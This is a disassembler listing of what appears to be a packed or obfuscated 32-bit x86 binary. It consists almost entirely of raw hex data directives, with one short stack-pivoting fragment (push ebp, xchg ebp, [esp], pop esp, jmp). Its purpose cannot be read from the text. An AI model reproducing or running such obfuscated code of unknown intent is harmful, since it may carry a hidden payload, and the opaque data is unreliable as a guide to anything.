0ECDDh, 29DB800h, 0A1A27354h, 9607F2A2h dd 0BB3AE005h, 0BB3ADCFBh, 0A185C5D8h, 6E0C29A7h, 0FD9BBEFCh dd 1F5DFD4h, 94F4BB5Bh, 0D393D5D4h, 0CBA5E1D2h, 4AF015ABh dd 8949094Bh, 0A30AD5ACh, 56CEADA4h, 0EDFDD4F3h, 6BA1A2AAh dd 0A3378EABh, 5DA1A2AAh, 0DDC210E5h, 0B1D9B8B9h, 4FA1A2AAh dd 0AA87D3B2h, 0C171A1A2h, 4DE44101h, 0E71F6B45h, 8E4530BBh dd 0A46E1437h, 0F3569ABh, 960E8277h, 35D9F3B3h, 0EA098540h dd 0A0FFDE4Ch, 32E0AE01h, 0D1B0D4B7h, 0ABA9C789h, 783ACF77h dd 0B02BBB5Bh, 7F28C39Dh, 1309B82h, 0F8130000h, 84A6C456h dd 123674E6h, 0A8C0E674h, 31561406h, 67B78795h, 2331D5F2h dd 5FCD658Dh, 0C85AF819h, 79EB8FAAh, 0F3E7FE27h, 0DA1A958h dd 2062067Dh, 22626303h, 1EB8DF57h, 0AF4B6E0Ch, 0FB1A98BDh dd 53266667h, 6C4762EAh, 0A7A1807Ah, 0D9BD1C84h, 805A037Ch dd 193CF683h, 26B9D471h, 0A7A1FCB0h, 0B8373483h, 1AF61DDDh dd 0B194EF9Ah, 0BF3ED4FDh, 8FAA08FDh, 68FF600Ah, 9A58A7E3h dd 0A6E6E77Bh, 434774E6h, 24E3C267h, 39ADAA32h, 0CEBB6385h dd 0FCDBDA5Ah, 7104A2C6h, 60F298BDh, 2832742h, 21A90827h dd 12A1A8C9h, 0E03A7E96h, 9D05E9BEh, 563C69E8h, 7883D786h dd 78791D3Ah, 0D4821D38h, 22885658h, 6ECE8772h, 1604A6C3h dd 0BD597F37h, 35897C3Ch, 0B0CF6A10h, 565889D1h, 0A5CD7788h dd 0CCC8C0Dh, 63230679h, 5ED4A145h, 7411903Eh, 3F5AC527h dd 0CEEB899Bh, 58607649h, 269E8856h, 5836A003h, 50C08856h dd 79EB590h, 88565853h, 6100F5ADh, 1576h, 44617D00h, 27B31229h dd 0D1A7A180h, 80D68061h, 7020A7A1h, 0E2051085h, 0DCF9BD3Ch dd 0D6FFBF3Eh, 0D9F9BD3Ch, 2 dup(0DDFAB839h), 0E2FAB839h dd 0DBF9BD3Ch, 0DEF8BA3Bh, 52FABD3Ch, 0C281E289h, 4, 5204EA83h dd 42474FFh, 24048F5Ah, 3167685Ch, 4890000h, 550E6824h dd 14890000h, 52685124h, 591C2513h, 0BA4AB850h, 0C101E9E3h dd 59C88958h, 430B68h, 24248900h, 4240481h, 5A000000h dd 7FE968h, 24048900h, 8B08428Fh, 89512414h, 4C181E1h dd 83000000h, 0C8704C1h, 34FF5C24h, 0C4835824h, 687EE904h dd 0ACE0FFFBh, 6BB8B7A4h, 30608D9h, 34E0FFC5h, 29407020h dd 0A631647Ch, 0B12866B2h, 1C3C89DAh, 0DE7FD7B0h, 0D079B9D3h dd 0E06D1EC3h, 0D8556F49h, 7775CC01h, 3C7B84B6h, 380AF502h dd 0D559D655h, 1C2D2A34h, 0C2452984h, 9B2EF6CFh, 384ECBA4h dd 0AA2FCA12h, 8D5C024Bh, 8DAEB8Dh, 0DD858B06h, 8906032Eh dd 331D18Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 6B18FE80h, 6020C2EBh, 858BB1B9h dd 60311E1h, 2AB59523h, 85C70603h, 60301E1h, 5DC8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 12C35343h, 0ED3F4923h dd 0B86668B2h, 85C72C7Fh, 60321BDh, 0 dd 26B18D89h, 0B5FF0603h, 60323C5h, 2109B58Bh, 95FF0603h dd 6032691h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0E6C35343h, 95FF006Ah, 6031FB9h, 39EBC08Bh, 0B53E6D6Ah dd 2C977456h, 13F33D42h, 9D282A56h, 5F2067B6h, 1D1FCD2Eh dd 0A89D52C2h, 72A31798h, 4B396DE7h, 72887CCEh, 0D36A626Eh dd 0D6378125h, 0C9889955h, 0C23544F7h, 0ABE9FAh, 8D500000h dd 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h dd 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h dd 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h dd 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh dd 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh dd 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh dd 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh dd 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h dd 323D94E7h, 31048C83h, 1355E911h, 80680000h, 0E90608DDh dd 0FFFAA17Dh, 8DE8E68h, 0A173E906h, 9668FFFAh, 0E90608DFh dd 0FFFAA169h, 8E0E568h, 0A15FE906h, 6768FFFAh, 0E90608E1h dd 0FFFAA155h, 8E23168h, 0A14BE906h, 0FA68FFFAh, 0E90608E2h dd 0FFFAA141h, 8E3B268h, 0A137E906h, 5F68FFFAh, 0E90608E4h dd 0FFFAA12Dh, 8E5DA68h, 0A123E906h, 168FFFAh, 0E90608E7h dd 0FFFAA119h, 8E86A68h, 0A10FE906h, 0C668FFFAh, 0E90608E9h dd 0FFFAA105h, 8EBAE68h, 0A0FBE906h, 0B768FFFAh, 0E90608ECh dd 0FFFAA0F1h, 563ABB5Eh, 0DB8932C3h, 751BA076h, 0E5EB0CE0h dd 167A7F10h, 6435619Ch, 0D4A4095Fh, 4A28BDD3h, 0B75E23A1h dd 87035236h, 6142AA3h, 5E69671h, 2AA2432Ah, 8C61AB6Ch dd 0B2342F00h, 0F74DD8E1h, 96FAFB92h, 7630AED9h, 11F0FCD2h dd 0BD2FBA75h, 0BD1F895h, 0C4083471h, 6A2EC8DCh, 278793h dd 1300000h, 67618A6Ch, 4E398662h, 80321650h, 0FE7511FFh dd 3CD9616Bh, 0C8710BDFh, 0C100054h, 0CB936A41h, 0C2h dd 0A2432A74h, 93906104h, 0F792FAFBh, 8F656068h, 747D12FFh dd 0C1E68914h, 0C25BEFA9h, 3E770EF0h, 0AE5324ABh, 0BDCDAB3Eh dd 0B3403DD0h, 1D2DA30Eh, 770EEE07h, 1CF9A649h, 0F1440897h dd 6F94611Eh, 0CB9D687Dh, 97D3D1BCh, 11FF29B3h, 0FA9D7075h dd 0B3267FF5h, 0C9E792DDh, 0D24CEEB1h, 0C0FCA1ADh, 13A48D0Dh dd 5AD674B5h, 11FE0C1Ch, 0E97C6F09h, 565B3CD1h, 21CAAF32h dd 0D643358Eh, 9C4A4E6h, 10FFh, 0A226C7AAh, 0D7B53EDFh dd 4107AC42h, 0F19718FCh, 62668B6Ch, 70015580h, 0E0B0054Bh dd 562489DFh, 0C3AA3FADh, 9317AE22h, 6141EB7h, 11D26271h dd 28BC452Ah, 5F0DB245h, 4B6C0CE1h, 6C0176EDh, 0F0F99E8Bh dd 6666CD98h, 4F3A8563h, 7F311951h, 9A7511FFh, 5A2137F9h dd 3DBB8510h, 7F3971E4h, 72EC65C5h, 8550710Bh, 0B730A83h dd 0DEE37671h, 0A0DF05F2h, 1D6DCBB3h, 0B4658F5h, 2468D471h dd 69A8283Ch, 0F12793h, 2A500000h, 6C2AA243h, 0F0FD96B2h dd 424770Eh, 770EF08Bh, 0BC2B6AF1h, 27CCADC0h, 0EF14FA8Bh dd 0BBD17911h, 35770EEDh, 0BA0F5D62h, 0FCBAD2D3h, 9D71345Bh dd 0A503B868h, 0E6896F1Ah, 77C287C1h, 0AE85EF3Bh, 2CBB7511h dd 0B5840FB8h, 0BACFC95h, 0E954071h, 47BBD870h, 52396F09h dd 0D1A07114h, 846AA907h, 34582744h, 9314FB8Ah, 0D09F7015h dd 14E196F2h, 2C1DCAEFh, 0FAEC1ACh, 0D2E6D6B3h, 0FF1273Ah dd 0D5A40000h, 4C29BCD0h, 0BA5C21A7h, 26CE5331h, 997EC381h dd 47F67C10h, 17757E13h, 9BC9EE82h, 95F6436h, 0B82CD1A4h dd 1089A119h, 6C710613h, 47011FDCh, 0EF06AE3h, 0F3F89A77h dd 0FED5CC99h, 0B309941Dh, 0AB4839DEh, 45FFBB06h, 0A12BCCA0h dd 0F06BE424h, 0AD1770Eh, 0A077DAAEh, 0F0E37CCCh, 0B259770Eh dd 0F0BB54F4h, 5A01770Eh, 2ADA99CFh, 30B95A43h, 846C0D58h dd 0FF08ED1Ch, 2B4D4A3h, 63658E63h, 648D6366h, 0E68B6164h dd 797E160Fh, 856BFE92h, 0EE816C7Ch, 0FBF29BC9h, 0C8E6048Fh dd 0C7DB6617h, 9B11A8CAh, 0B7974DDDh, 46157511h, 0FD9E6F2Bh dd 0B9F194F4h, 0B73F891h, 1B914471h, 85A29533h, 0EC0A759Dh dd 0D44876D2h, 3CD18388h, 57325A5Fh, 195F8D9h, 12F9ECFCh dd 0A4424D7Ah, 0DCBD500Ah, 54D0B5D7h, 82612374h, 0B4F2997Dh dd 2BB93ED1h, 7BC4AF46h, 30FC6CD7h, 584160CFh, 79175C50h dd 0EE97C91h, 0DDBC0000h, 5421B4D8h, 0C25439AFh, 2EC6AB39h dd 0A176DB89h, 3FFE7418h, 6F7D866Bh, 93F1F69Ah, 1476C0Eh dd 0B0D4D9BCh, 881A9E1h, 74710612h, 432A27C4h, 0F29D2AA2h dd 906EBAF4h, 0AE7511FEh, 6F1A553Bh, 0B113971h, 296F0EFEh dd 85022AA2h, 0BF770EBDh, 28B5D7D8h, 5825A748h, 335636BBh dd 0F1419549h, 4A2E72AEh, 996D1F32h, 0F1FA9C71h, 6476F297h dd 62h, 9F85F097h, 0CD98F0F9h, 0FF8E4866h, 92F7911Ah, 0F0DB74D4h dd 0BA21770Eh, 0AB5DEE3Eh, 0D7D37511h, 0BA3DA73h, 24B32671h dd 4319FB8Ah, 0BA36EE7h, 0B807D271h, 0A38904D4h, 0D4BB710Bh dd 1EF697D3h, 8E62CF99h, 9F6A7F69h, 1AF84D21h, 201AF791h dd 5C00000Eh, 89C3E889h, 0EF1E8216h, 0A934C2BFh, 85F050D3h dd 6AF1FA9Fh, 0D7DCB94Ch, 1A54D0B5h, 982A660h, 77770EF1h dd 622404E0h, 0D8750736h, 0CA8227F5h, 9776309Fh, 2FE9FF00h dd 153CD575h, 0D5807106h, 42630A5Fh, 94127D0Ah, 5AAF4EDAh dd 87666EFEh, 0D91203F2h, 65E04693h, 1D9BCE9Eh, 0E3069B04h dd 234C886Fh, 0A44B1A54h, 15F84D03h, 0C4CFF890h, 92A08826h dd 751126h, 0B8871A55h, 0B25AE0D3h, 0D9A5Fh, 8B2CCF00h dd 1EA370C5h, 0E811E74Ah, 787D11E4h, 0CBF08114h, 0BAF02F85h dd 0D5B82CD5h, 592CA045h, 0CF5236BBh, 0B0C18728h, 10B952F6h dd 75077106h, 0F0F26FF6h, 0ADD8770Eh, 10D7730Fh, 0B0750735h dd 1AF88D25h, 1692F791h, 0DDE2B558h, 0C65FEBA5h, 3A710615h dd 28BDD1AFh, 37B85845h, 90F51362h, 0E9746F5Dh, 3FBDC8FFh dd 0E70CE283h, 4A04E0E5h, 92200FEh, 8AB3E6Fh, 0E6DBB38Bh dd 185BB656h, 4D00000Dh, 0F65B09AEh, 65C89C25h, 977A6E93h dd 7EAFEFFh, 0A91B4972h, 5257386Eh, 26C7AB3Eh, 0B43DDFA2h dd 5AA4DD0h, 0D0783E47h, 71060F37h, 2A70F385h, 472AA243h dd 0C85D0FB0h, 37B85F2Eh, 80B43055h, 0B85C315Ch, 728AB937h dd 31996D4Eh, 0B937B85Ch, 73DA3h, 85F0DC00h, 0B8884B67h dd 52533B40h, 0AF841C0Dh, 0DD5B26C7h, 0B74B87A3h, 6C357506h dd 1E1DD894h, 29947B0Eh, 0DBDD6237h, 9479319Ch, 0F8EDFF00h dd 0FC0195h, 0FCD0A746h, 6AFB32Ch, 0F7420971h, 0DD6D2791h dd 7106AF44h, 32572DB8h, 0EA325A5Bh, 7106AF6Dh, 0FAB4325Dh dd 0AF6FE840h, 1ECD7106h, 6644E4A2h, 0D46F09BDh, 2E676E01h dd 0D2BAE6DBh, 0C4E3Fh, 77781B00h, 0CAEF8C11h, 545D3386h dd 24C9AD30h, 0B73CDDA0h, 0F6A453D1h, 61F49821h, 95786C91h dd 1BEEE207h, 441D7374h, 0E6DE642h, 21D37106h, 0A2432A42h dd 8D5304h, 195E52E4h, 0B84DCBA3h, 0D0B5D7D8h, 595E3154h dd 0AAF4C21h, 0D54BDEAEh, 0FD8D9781h, 6F4A996Ch, 0F5000006h dd 64896C01h, 0F023A088h, 7C07770Eh, 7CCBF086h, 35EAE642h dd 79337507h, 61538D1h, 4C298471h, 0D5A025A7h dd 0D793465Fh, 205E5F36h, 420AAF4Dh, 5BC5A907h, 161089A1h dd 0F96C7106h, 9E876E03h, 0F297F1F6h, 37426567h, 4B2901B9h dd 8E6F0923h, 28DB74D4h, 0BA217703h, 33BAE73Eh, 0CF8E5043h dd 0DA275E25h, 7FE6DB40h, 0B8572EFh, 41D00000h, 0B84528BCh dd 26C85D33h, 927ACF9Dh, 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh dd 37555A3Eh, 0A52BD0A2h, 0D4B83DD0h, 0A43D0D8Dh, 1871060Eh dd 432A8B68h, 996C2AA2h, 41660AF7h, 0A2F792FAh, 2F511A50h dd 99EC483Ah, 8D0622F6h, 0F3770EEFh, 5ACF9964h, 9EA6B2E6h dd 59996D4Dh, 5A2h, 56387C1Fh, 76580259h, 0E4D39D2h, 45D08777h dd 85F074EFh, 0CAFF4B67h, 46750735h, 0C704D793h, 0FB49209Fh dd 17717A18h, 4F09E772h, 0B2D6D7BEh, 25A7482Fh, 6CC801Dh dd 4B1F6A71h, 2EC141F2h, 6D06E889h, 80A8C6ADh, 6F0920A2h dd 4FAAC590h, 12E6DBB1h, 0ACDE77Ah, 0F9980000h, 700D90F4h dd 0DEB0054Bh, 4A22B7D5h, 0BD5227A5h, 23D25034h, 4B19A277h dd 0FFED12E6h, 6D63886Ah, 9CF0F598h, 0EC65C5C5h, 5071060Dh dd 432AC3A0h, 0B0472AA2h, 369D26F7h, 3A2BA778h, 7C1DA648h dd 38B4CA15h, 1347F550h, 6C9CFF05h, 4F4F899h, 6F7B0000h dd 770EF0F5h, 7A34B2DDh, 0AB502DC0h, 0E0C8A421h, 75073576h dd 0A67931A4h, 5F27334Ah, 6E2884B4h, 0D43DF89Fh, 66D4B5EEh dd 6EE7437Fh, 0D271061Ch, 41D4B807h, 0D95F09AEh, 0E4BE8706h dd 10ECEFCDh, 0A0DEDCA7h, 92A0288h, 0BAF5606Fh, 0E6DBBB51h dd 208D4028h, 7500000Ah, 0FE4301A6h, 6DF0941Dh, 9F62668Bh dd 0F92F6F7h, 0A103416Ah, 0AA4F2076h, 3EBF5326h, 8C35C7AAh dd 1DA275D8h, 0D870364Fh, 71060C3Fh, 2A680BBDh, 6104A243h dd 6B7E6E93h, 7C6C9164h, 16FB9369h, 836E7E7Fh, 329FC9F2h dd 88315B60h, 8DD660B4h, 640B4397h, 0DD6D2743h, 770EF044h dd 33572DB8h, 6D51ECF0h, 3ED6B799h, 3EBA2FB9h, 17BDCh dd 27CB9A00h, 2AA92A86h, 472AA243h, 8223F7B0h, 8B0B55CAh dd 5C611566h, 49666AF1h, 31BA583Eh, 0BA73257h, 11A6693Fh dd 0D8B02775h, 0BA69330h, 34D99171h, 590C5C61h, 0AD8BDFE3h dd 936A0497h, 102C4B0Ch, 282D195h, 7CF8476Ch, 4C1Eh, 0C3A25C00h dd 8818B2Ch, 74710B73h, 0E90EE2E1h, 950EEAFFh, 0FE9F85F0h dd 6BF693F5h, 0D6D7BE4Fh, 7A0C1C5Ah, 977511FFh, 0DE9821F6h dd 0BDFD14Ah, 3CB82F71h, 0C6E78EE5h, 4CC9117Bh, 0D8710BDFh dd 1C203064h, 0DB936A41h, 0B5h, 0A2432A64h, 4AC35304h dd 0F40175A2h, 0EC8D1078h, 553885C7h, 0C2553850h, 757E1FEEh dd 0BD567613h, 3770DF4h, 0EEB1C954h, 456B800Eh, 8E636652h dd 53FB8F65h, 770EB8ADh, 38F7996Ch, 0ECF57A74h, 6068F772h dd 13FA8F65h, 0C6B1FE92h, 1DFF8E28h, 0CA5E1894h, 750C82DBh dd 5E88655h, 0B4194F74h, 74A7DEE3h, 19E0D5D8h, 8A59C71h dd 21F00000h, 9865C89Ch, 6E87D13h, 721AEFFDh, 0E58A1F4Dh dd 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh, 450BB042h, 0F4981DF0h dd 0C45DEDADh, 3871060Bh, 452AEB88h, 8D6302BCh, 0BCD2FFAEh dd 8510AAB9h, 462A86C3h, 0F59B1CF3h, 9A5E018Eh, 58F1C7C4h dd 0D2E3653Ah, 0E154CE0Eh, 968F660Bh, 5911FC05h, 42128B9Fh dd 0FB6E770Eh, 0ED806D7Dh, 0AF4184C8h, 0FC000002h, 668B6C01h dd 0FF98B066h, 7D770EF0h, 1AA503EEh, 7F39716Fh, 0EF032ABh dd 5DDB8E77h, 0F73D0723h, 0B4237511h, 6FE840FAh, 81710BD6h dd 0C99CCCF1h, 0DF78D0D6h, 5D710BD6h, 0F69E238Eh, 4D585382h dd 0DD6505E3h, 710BAA40h, 140C50CCh, 936A0C10h, 21BCFh dd 3AD8AD00h, 0B851F9B1h, 4710BA6h, 6F58DB51h, 770EF0F7h dd 2BE5B4DFh, 0EF0861Fh, 3D6FFA77h, 770EF0A4h, 0C8E64D18h dd 735EC60h, 3BF2A75h, 4C6A8B62h, 1403AD8Bh, 7BF1F9AAh dd 0CAEB8217h, 1C9AE582h, 940C662h, 6D96F09h, 68D41457h dd 1C35B35Eh, 45F13649h, 0D8B0E6DBh, 77E05h, 0A7482B00h dd 3ABF5C21h, 842DC356h, 14997DC0h, 0E70CED70h, 86D403E1h dd 3184C8F1h, 0A5085C61h, 2BBED2D7h, 942DA344h, 99D3612h dd 51E37106h, 71432A92h, 0EF040D9h, 4229BC77h, 0FCD0A70Ah dd 0EF0B32Ch, 0F7420977h, 0DA0E3695h, 84C8ED80h, 6D52556Fh dd 1621299h, 2AAD0000h, 0DB25A43h, 29A30E5Bh, 0F0F99E6Fh dd 797E1174h, 0B3315C6Bh, 74ED3DF7h, 0C8770EF0h, 41E9A71Dh dd 7512008Bh, 0E20A4209h, 710BE065h, 3A297DA3h, 0E962C680h dd 57710BE0h, 0E10F8880h, 0FE6D710Bh, 3E2B3102h, 4C24936Ah dd 57000000h, 6AE34701h, 9A770EF0h, 0F297F1F6h, 1FA804D3h dd 0C6E78E74h, 59EB3F7Bh, 0D77511FFh, 23A04800h, 0DD710BDFh dd 4BD6B63Bh, 0F44C1CA5h, 1BAA1438h, 0DDE7F125h, 0C6936A40h dd 0FD3C6C15h, 308CD01Bh, 0B62Ah, 1BFD9000h, 2A991A96h dd 6C2AA243h, 0F0FD96B2h, 9443770Eh, 1FA47518h, 0E80DE04Dh dd 757A1DE0h, 0BE31C717h, 0EC8770Eh, 0E9EA13Ah, 0EC481F77h dd 93F1F699h, 0BAC4025h, 1FA80441h, 10387674h, 750C3A01h dd 540EA83Fh, 0F2158E9Ah, 0FC6B7108h, 678C6D00h, 2CD5BA4Bh dd 3F5329BCh, 0A61DE81h, 0F4DA242h, 5A7FAB34h, 5481B21h dd 91F47075h, 75B8FB00h, 48E0D598h, 615ADA0h, 0B1400000h dd 28F5580Ch, 9678CD83h, 2EA7F6Dh, 751AEFFDh, 6BAA184Ch dd 33515A3Fh, 0A725CAAEh, 0D5BB40D2h, 4408AD40h, 34AD7D3Dh dd 88710608h, 452A7BF8h, 0B24528BCh, 2A245F0Dh, 0DFB55A43h dd 0EF0D24Bh, 2CBB2E77h, 0D3BA0741h, 3F5BBED2h, 0DA000000h dd 4A2432Ah, 616B9061h, 1DE08864h, 11ABF7Ah, 0CFD5DC7Bh dd 0F9A16860h, 0C078A326h, 0D7AD0906h, 0BCCBFE3h, 0CF2F74C6h dd 0E58864B2h, 41FFED12h, 452BE49Eh, 572D2D8Ah, 3042h dd 6C01F100h, 60656788h, 230EE184h, 0DEED9384h, 6C0A9139h dd 0DEFD96B2h, 6A0F770Eh, 1D9B4E41h, 0DE27A54Dh, 0F824770Eh dd 2FB92D4h, 0EAFE456Ah, 5D5E01E9h, 0ECC33E7Ch, 0B4FF3DA0h dd 0CF34B4E3h, 9DC88029h, 40D7BA36h, 5B0DB647h, 6F29A30Eh dd 2AFC95B5h, 9540770Eh, 9E3115C4h, 8B61444Eh, 1753513Ch dd 6FF5133h, 46974875h, 3A44A7D4h, 0A53011EFh, 1680530Dh dd 4CBB979Ch, 6E0164C0h, 0BF5C3149h, 0B937523Ah, 8AD40D5h dd 5E5C2740h, 7D690820h, 10C76EFEh, 27E0B756h, 82C6AD56h dd 0CAAF583Fh, 75325A21h, 1D2EC0Ah, 53D3AC5Eh, 846C3222h dd 9F94D405h, 2EFAB430h, 75115F20h, 9BA8CB9Eh, 46E0D3F0h dd 4B9ABA6h, 0DEC0000h, 8411E4E8h, 0F284697Fh, 5E369BC9h dd 0D1A60B59h, 0FCEA428h, 5F0DB65Bh, 0C38126CAh, 71179C7Eh dd 0E0E409ECh, 0D871D9D1h, 24710607h, 432AD794h, 0B45B2EA2h dd 25DF5933h, 0EF08C05h, 8F65F077h, 0AC4113FAh, 6DE626CBh dd 0D3770EF0h, 7C2FB904h, 0A3442BBAh, 0FCC0BC29h, 0FEFF96A8h dd 0B6592CEAh, 3BC05231h, 526E76BDh, 5035996Dh, 3BAE3EC3h dd 4C5FBDh, 0F0D80000h, 0FF4B6785h, 7511AB4Eh, 0A15B17C2h dd 298728CCh, 5F0DB644h, 0BA4148Fh, 504D2071h, 38AC3BBCh dd 0CA56DD7Eh, 6AC34933h, 0DA946388h, 0B36D54Eh, 0C0BC2B71h dd 8CE0CFADh, 0C336EDCDh, 0A7BAD2B9h, 3FBh, 0A94A1Bh, 432A2FA4h dd 0B0472AA2h, 632E590Fh, 0D06A2D45h, 286E519Ah, 0D5753389h dd 7511ECFFh, 96BE2EBDh, 710BEDF9h, 943640Bh dd 0B9D3D4A4h, 0AEE83CF0h, 0E3F51907h, 936A4AD9h, 626C09CAh dd 1AB1F1D5h, 38BC9Eh, 13F0000h, 616B8C6Ch, 543F8864h dd 7E301856h, 0FC7511FFh, 3AD77F69h, 0F6710BDFh, 0A12064Ah dd 0C5936A41h, 102h, 8B5EE0B3h, 0DF5E6DFh, 0EB3CD575h dd 0D580710Bh, 432AE45Fh, 47E3B95Ah, 770EF0CEh, 0B0D8A732h dd 0B31E4ED5h, 5B3D5DEh, 926E9360h, 0DB9718FFh, 85F640Ah dd 84E44065h, 0C6A95639h, 28A18921h, 94770EF0h, 0C6167AC1h dd 770EEDD0h, 64A6B02h, 0B1DBDCB3h, 556D8BF6h, 0D049E19Bh dd 2C770EEDh, 0DDEBC3B9h, 5B75120Ah, 0B921F28Ch, 0A101E896h dd 0FEB8CCA8h, 4A31195Dh, 1D4800A9h, 162ABB7Ch, 9C18A173h dd 2C4A6813h, 97C071Ch, 0B2B1626Fh, 1FBDF07h, 1A9F7D10h dd 0B8991772h, 38DB952Dh, 6C9C4E0Bh, 0CCA11FD3h, 7FC2862Bh dd 0E75E119Ah, 0FAE6D6D6h, 2D1FF12h, 0F5840000h, 6C099CF0h dd 0DABC0147h, 462EB3D1h, 0B95E23A1h, 27D65C30h, 77159E73h dd 0FBE90EE2h, 697F8416h, 98CCF184h, 0F069C1F9h, 4C710605h dd 452A3FBCh, 0A10CB144h, 0C0A27523h, 0A17A1E5h, 585D3D50h dd 0C1E689DCh, 85F0D083h, 0D7914B67h, 4C5C6536h, 770EF0D3h dd 0E6C6A229h, 7511FF54h, 0A9631FCAh, 0BE00881h, 0BE17471h dd 0DF3EDB63h, 1EF6710Bh, 8D62CF99h, 457F6464h, 36BB5911h dd 1DA43356h, 0DDE6885Dh, 5E62DE8Bh, 41162E0Ah, 0BDD1936Ah dd 62000000h, 2AA2432Ah, 5F09B247h, 426734D9h, 0C9E15F0Ah dd 770EEDD3h, 17757A1Dh, 0ACCAEB82h, 0EDBD56F2h, 5403770Eh dd 8CF7B0D8h, 0DDBD506Eh, 5FD5B0D8h, 0AFB0921h, 58797512h dd 3F2A2A79h, 0AD238E0Fh, 41797702h, 1415E687h, 7A6F7982h dd 33911EFh, 816F089Eh, 28C99CDAh, 9778CD83h, 710704EAh dd 0FE450048h, 556CFBEEh, 0E6D63FFCh, 0C8F06DFDh, 9D000001h dd 6EBF9FEh, 0B5184C75h, 278ADEE3h, 573AAE4Fh, 0D9AB39C2h dd 2A7481Eh, 9617FB4Eh, 648D6FF2h, 0F5FA9D60h, 60C8CE97h dd 710604E7h, 2AC0A355h, 4528BC45h, 4E22F5B2h, 0EF061FAh dd 0BD08DF77h, 442BBE2Bh, 0C3B0D4A3h, 2AA2432Ah, 590FB047h dd 0CC9C21F4h, 2901D0BBh, 770EF0B0h, 597B930Ch, 0D979AECAh dd 8CBE772h, 7557A3F6h, 64229E57h, 119D66C4h, 1CF9D475h dd 590F597h, 0F0241843h, 98D6D7BEh, 0CF97DEC7h, 7BF1C0BAh dd 8F2D5817h, 3B9D57F3h, 0A1446F0Eh, 0E3BC2CD1h, 614D0F24h dd 413F8A26h, 0E93F560h, 9F064667h, 94FF7DA1h, 0E7B55816h dd 61DF8AC2h, 0D5690327h, 0D77511h, 9116F94Ch, 63886AF7h dd 2DD2A647h, 0D7BB2EBBh, 55D3B6D6h, 520C4E35h, 0BB55DF6h dd 0B834A371h, 771E5084h, 2A551276h, 0D856F28Ch, 666F0EAEh dd 613499F3h, 6D470C5Ch, 0D2D0BB39h, 0B636B494h, 51047511h dd 7FCB8533h, 710BB5E6h, 86318F5Ah, 20C5FDFBh, 0A623A54Eh dd 21AB4C23h, 0BA8EC8A4h, 6F03FAD0h, 25DF9B4Eh, 0FF0E272h dd 0C0C80CA3h, 7703E947h, 224A26B5h, 0F56EBA74h, 357703E9h dd 0DCDACFCFh, 81544FD1h, 0EAF462Bh, 9F20F75Ah, 0D4BA4BCDh dd 4C28BD2Fh, 0CFCDB7Ch, 0D7FB3984h, 424F89Fh, 5FDC4E8Bh dd 0E39F6AF1h, 14B7002h, 851E2A44h, 0FB5FDC4Eh, 69FC906Ch dd 8F496186h, 4EDC75D5h, 0B5205FDCh, 0DC4EFA93h, 1593465Fh dd 0E304E875h, 0AC5526C7h, 3911A93Ch, 5FDC4EA0h, 9BF3491Ch dd 0DD88DCD0h, 0F74A8A3Ah, 0A8044FBFh, 0DF8D32C5h, 91C8A34Ah dd 5F16F2EBh, 0AFA22AB1h, 3, 2A8003D6h, 5B26A647h, 0F45933B4h dd 66CB9D26h, 967B6D92h, 0D90F801h, 0B805476Ch, 0D4B9D3D4h dd 422FB942h, 0B4008B1h, 815E5456h, 4C6h, 4EE8300h, 5C243487h dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 6268241Ch dd 89000003h, 68572434h, 1D1359A0h, 0BE56475Fh, 0E8F582D3h dd 895EF701h, 8B545FFBh, 0C4832434h, 8B95104h, 81000000h dd 0A10808E9h, 81F1012Fh, 0A10808C1h, 5919892Fh, 5724348Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 1C8B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- dw 0B89Ah dd 608EEA4h, 0E0FFC503h, 7880485Bh, 4109E58Fh, 65F880Eh dd 5B3A11B2h, 5A85444Bh, 795A7349h, 30910377h, 5C2CC9F7h dd 36E58C32h, 4C28A32Ch, 3576B28Fh, 40E8CF49h, 64A697E3h dd 4B461715h, 266183DBh, 2444E70Dh, 61980C0h, 7D0079EBh dd 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h dd 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h, 0F0009F89h dd 0D7C77156h, 1800BEB3h, 0C4D75671h, 8673E2ADh, 0E9739F85h dd 0F28h, 8F1CE68h, 8D5BE906h, 0C268FFFAh, 0E90608F2h dd 0FFFA8D51h, 8F3B668h, 8D47E906h, 268FFFAh, 0E90608F5h dd 0FFFA8D3Dh, 8F57068h, 8D33E906h, 3168FFFAh, 0E90608F6h dd 0FFFA8D29h, 8F70268h, 8D1FE906h, 0A568FFFAh, 0E90608F7h dd 0FFFA8D15h, 8F86868h, 8D0BE906h, 6268FFFAh, 0E90608F9h dd 0FFFA8D01h, 8FA7A68h, 8CF7E906h, 9F68FFFAh, 0E90608FCh dd 0FFFA8CEDh, 8FD8468h, 8CE3E906h, 0C9A8FFFAh, 40DDA024h dd 0AE40D5BBh, 1AF24705h, 8D62F795h, 53826064h, 1B497207h dd 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h, 1CB59515h, 60710601h dd 432A13D0h, 5B0DB25Ah, 6F29A30Eh, 99F3F89Eh, 